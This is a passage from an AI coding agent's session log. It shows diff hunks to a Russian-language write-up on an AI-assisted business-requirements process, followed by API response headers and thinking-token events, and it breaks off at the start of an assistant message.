\u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 303,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 315,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 333,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 346,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 401,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 414,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 430,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 444,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" ```\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 474,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 489,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | --- | --- |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             }\n[2026-09-29T07:51:08.496Z] [INFO]           ]\n[2026-09-29T07:51:08.496Z] [INFO]         }\n[2026-09-29T07:51:08.496Z] [INFO]       ],\n[2026-09-29T07:51:08.496Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:08.496Z] [INFO]       \"changedFiles\": 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charset=utf-8\",\n[2026-09-29T07:51:09.849Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:09 GMT\",\n[2026-09-29T07:51:09.855Z] [STDOUT]     \"request-id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:09.859Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:09.864Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:09.883Z] [STDOUT]     traceresponse: \"00-b1eb70c162adcc3f5d300a36e7dc40ca-3399946e22dd7db5-01\",\n[2026-09-29T07:51:09.895Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:09.910Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:09.941Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:09.961Z] [STDOUT]   },\n[2026-09-29T07:51:09.969Z] [STDOUT]   durationMs: 814,\n[2026-09-29T07:51:09.981Z] [STDOUT] }\n[2026-09-29T07:51:09.990Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:10.007Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:09 GMT\",\n[2026-09-29T07:51:10.018Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:10.039Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:10.055Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:10.063Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:10.070Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:10.072Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:10.075Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:10.081Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:10.085Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:10.094Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:10.100Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:10.102Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:10.108Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:10.116Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:10.125Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:10.136Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:10.144Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:10.148Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:10.153Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:10.163Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:10.169Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:10.174Z] [STDOUT]   \"request-id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:10.192Z] [STDOUT]   \"traceresponse\": \"00-b1eb70c162adcc3f5d300a36e7dc40ca-3399946e22dd7db5-01\",\n[2026-09-29T07:51:10.196Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:10.207Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:10.210Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:10.213Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:10.216Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:10.220Z] [STDOUT]   \"cf-ray\": \"a42966a8185501ff-CDG\",\n[2026-09-29T07:51:10.228Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:10.232Z] [STDOUT] [log_2a7b01] response parsed {\n[2026-09-29T07:51:10.235Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:10.240Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:10.242Z] [STDOUT]   body: X {\n[2026-09-29T07:51:10.245Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:10.248Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:10.252Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:10.260Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:10.293Z] [STDOUT]     },\n[2026-09-29T07:51:10.304Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:10.309Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:10.315Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:10.321Z] [STDOUT]   },\n[2026-09-29T07:51:10.327Z] [STDOUT]   durationMs: 815,\n[2026-09-29T07:51:10.332Z] [STDOUT] }\n[2026-09-29T07:51:10.335Z] [INFO] {\n[2026-09-29T07:51:10.335Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:10.335Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:10.335Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"uuid\": \"67e1d30c-038b-4a71-bf5e-f114e5a2e781\"\n[2026-09-29T07:51:10.335Z] [INFO] }\n[2026-09-29T07:51:11.161Z] [INFO] {\n[2026-09-29T07:51:11.161Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:51:11.161Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:11.161Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"uuid\": \"f8e50e73-db9c-41c8-a00b-c06b6fb118af\"\n[2026-09-29T07:51:11.161Z] [INFO] }\n[2026-09-29T07:51:12.522Z] [INFO] {\n[2026-09-29T07:51:12.522Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:51:12.522Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:12.522Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"uuid\": \"e86efab2-2580-4a37-8de2-9e41efa1f990\"\n[2026-09-29T07:51:12.522Z] [INFO] }\n[2026-09-29T07:51:13.359Z] [INFO] {\n[2026-09-29T07:51:13.359Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"estimated_tokens\": 420,\n[2026-09-29T07:51:13.359Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:13.359Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"uuid\": \"08efc72f-a0c5-4842-ac13-1eee9c7f333d\"\n[2026-09-29T07:51:13.359Z] [INFO] }\n[2026-09-29T07:51:13.389Z] [INFO] {\n[2026-09-29T07:51:13.389Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"message\": {\n[2026-09-29T07:51:13.389Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"id\": \"msg_011CfXNC8MW4P635BcVaSAuZ\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"content\": [\n[2026-09-29T07:51:13.389Z] [INFO]       {\n[2026-09-29T07:51:13.389Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:13.389Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:13.389Z] [INFO]         \"signature\": 